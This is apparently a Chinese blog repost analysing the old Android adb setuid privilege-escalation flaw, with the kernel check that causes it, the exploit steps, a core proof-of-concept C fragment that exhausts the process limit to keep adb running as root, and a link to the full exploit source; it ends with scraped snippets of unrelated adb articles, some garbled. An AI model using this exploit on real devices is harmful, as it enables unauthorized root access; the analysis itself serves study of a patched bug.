exploit for Android (adb setuid)

/*

本文章由 莫灰灰 编写,转载请注明出处。

作者:莫灰灰    邮箱: [email protected]

*/

1. 漏洞分析

这是个很老的漏洞了,主要利用adb启动的时候调用setuid函数降到shell权限,却没有判断setuid返回失败的情况,因此造成了root的可能

如下是已经修复漏洞后的代码:

原本的代码大致如下:

setgid(AID_SHELL);
setuid(AID_SHELL);

而setxid等函数的实现,其中有如下一段代码,即shell进程的数量如果达到了RLIMIT_NPROC的数量,那么set函数就会返回失败,因此降权也就失败了。

if (atomic_read(&new_user->processes) >= rlimit(RLIMIT_NPROC) &&
        new_user != INIT_USER) {
    free_uid(new_user);
    return -EAGAIN;
}

2. PoC

1.子进程中一直调用fork函数去增加shell进程,然后调用exit去退出它,以此造成了很多的僵尸进程。

2.fork失败后,表明shell进程已经达到最大上限了,因此在pipe中写了一个char型数值。

3.父进程调用read pipe一直在等待fork子进程的结束,之后,fork到最大进程后,结束adb进程。

4.然后再fork一个进程抢占adb的位置。

5.等到下次adb再起来的时候,其原本是具有root权限的,而后调用setxxx函数去将权限降低到shell,但此时shell进程因为达到了最大的进程数,于是,调用setxxx函数会失败,adb进程也就保留了root权限。

if (fork() == 0) {
		close(pepe[0]);
		for (;;) {
			if ((p = fork()) == 0) {
				exit(0);
			} else if (p < 0) {
				if (new_pids) {
					printf("\n[+] Forked %d childs.\n", pids);
					new_pids = 0;
					write(pepe[1], &c, 1);
					close(pepe[1]);
				}
			} else {
				++pids;
			}
		}
	}

	close(pepe[1]);
	read(pepe[0], &c, 1);

	restart_adb(adb_pid);

	if (fork() == 0) {
		fork();
		for (;;)
			sleep(0x743C);
	}

	wait_for_root_adb(adb_pid);

利用代码:http://blog.claudxiao.net/wp-content/uploads/2011/04/rageagainstthecage.c

exploit for Android (adb setuid),布布扣,bubuko.com

时间: 2024-12-29 23:30:51

exploit for Android (adb setuid)的相关文章

android adb常用命令

1.adb--- 截取屏幕的命令  :adb shell screencap -p | sed 's/\r$//' > outputs.png 2.jni ---命令    :$NDK/ndk-build 3. adb 启动程序:adb shell am start -n 包名/程序Activity类的类名(main) adb 安装程序: adb install  + 路径 adb 卸载程序 :adb uninstall +包名 adb 调试:  adb connect ip 地址 adb 断开

MacBook下配置android adb命令使用环境

想在Mac下使用android adb命令,常用的两种配置方式: 在MacBook下配置adb命令环境(方法一) 1.下载并安装IDE (android studio) 人性化的安装,直接点击下一步下一步就可以完成安装啦 2.配置环境 在安装完成之后,将android的adb工具所在目录加入环境变量里面去  在终端中输入 sudo vim ~/.bash_profile ,打开 .bash_profile文件.按 i 进入输入模式,在文件内容的末尾加入以下内容: #Setting PATH fo

Android ADB Server启动失败

Android ADB Server启动失败 启动Android Stdio的时候报如下错误: 1 2 3 4 5 Unable to create Debug Bridge: Unable to start adb server: error: could not install *smartsocket* listener: cannot bind to 127.0.0.1:5037: 閫氬父姣忎釜濂楁帴瀛楀湴鍧?(鍗忚/缃戠粶鍦板潃/绔彛)鍙厑璁镐娇鐢ㄤ竴娆°?? (10048) c

Android ADB server didn&#39;t ACK * failed to start daemon * 简单有效的解决方案 (转)

转载请注明出处:http://blog.csdn.net/xiaanming/article/details/9401981 ADB server didn't ACK 这个问题会困恼很多的新手朋友,我以前刚开始做Android的时候也遇到过这个问题,不过自己百度,google啥的,也不知道怎么就给解决了,看到群里很多新手朋友都会问这个问题,说实话我也没有一个解决这个问题的终极方法(百试百灵的那种,哈哈),自己没遇到也没有认真的去对待他,今天,就是在今天,我打开Eclipse连上手机,准备调试程

android adb 的各种使用方式详解

这篇文章主要介绍在windows 程序中使用adb 的方法,不介绍adb 的命令. 1) 启动adb 进程,从管道获取输出. 这种方式的弊端有多少,我也不知道,反正就是各种问题吧.但是目前我问过很多朋友,他们都是这么做的,因为这种方法最简单.弊端我列举一下 1) 每次执行一个adb 命令都要启动一个adb 进程,速度太慢,好像就是很不爽 2)  偶尔发现进程管理器中有N 多个adb 进程,然后就卡了. 3)  从管道获取输出,在很多情况下会发现adb 卡死了,进程退不出来. 4)  曾经发现 a

android adb 发送keyEvent

使用Adb shell command直接送key event給Android adb shell input keyevent 7 # for key '0' adb shell input keyevent 8 # for key '1' adb shell input keyevent 29 # for key 'A' adb shell input keyevent 54 # for key 'B' adb shell input text "ANDROID" 支持的KEYCO

Root exploit for Android and Linux(CVE-2010-4258)

/* 本文章由 莫灰灰 编写,转载请注明出处. 作者:莫灰灰    邮箱: [email protected] */ 一. 漏洞简介 CVE-2010-4258这个漏洞很有意思,主要思路是如果通过clone函数去创建进程,并且带有CLONE_CHILD_CLEARTID标志,那么进程在退出的时候,可以造成内核任意地址写0的bug.PoC代码利用了多个漏洞来达到权限提升的目的. 二. 前置知识 (进程创建.退出) 1.当fork或者clone一个进程在的时候, copy_process执行如下操作

The connection to adb is down, and a severe error has occured. Android ADB server didn&#39;t ACK * failed to start daemon. 解决方案

ADB server didn't ACK 这个问题会困恼很多的新手朋友,我以前刚开始做Android的时候也遇到过这个问题,不过自己百度,google啥的,也不知道怎么就给解决了,看到群里很多新手朋友都会问这个问题,说实话我也没有一个解决这个问题的终极方法(百试百灵的那种,哈哈),自己没遇到也没有认真的去对待他,今天,就是在今天,我打开Eclipse连上手机,准备调试程序,出现如下的信息 The connection to adb is down, and a severe error has

Android adb.exe程序启动不起来,如何处理

Android adb.exe程序启动不起来,如何处理 (2014-02-26 15:58:14) 转载▼ 标签: android adb的启动 android中adb.exe程序   经常遇到 Please ensure that adb is correctly located at 'D:\java\sdk\platform-tools\adb.exe' and can be executed. 遇到问题描述: 运行android程序控制台输出 [2012-07-18 16:18:26 -